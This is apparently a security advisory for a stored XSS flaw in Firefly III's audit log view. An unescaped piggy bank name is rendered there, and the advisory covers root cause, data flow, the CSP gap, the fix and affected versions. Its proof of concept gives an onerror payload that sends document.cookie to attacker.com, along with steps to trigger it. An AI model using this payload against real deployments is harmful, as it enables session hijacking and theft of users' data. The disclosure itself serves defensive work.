Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | grumpydictator/firefly-iii | < 6.6.3 | 6.6.3 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N- Weakness (CWE)
CWE-116, CWE-79- Platform
- Composer
- Package
grumpydictator/firefly-iii- Disclosed
- 12.06.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-6jq6-x4cx-qvcm - CC BY 4.0
Vulnerability history: grumpydictator/firefly-iii
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 26
- First → latest
- 08.2021 06.2026
- Without a fix
- 3
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
- Medium 22
- Low 2
Disclosures per year
- 2021: 12
- 2022: 5
- 2023: 3
- 2024: 3
- 2025: 0
- 2026: 3
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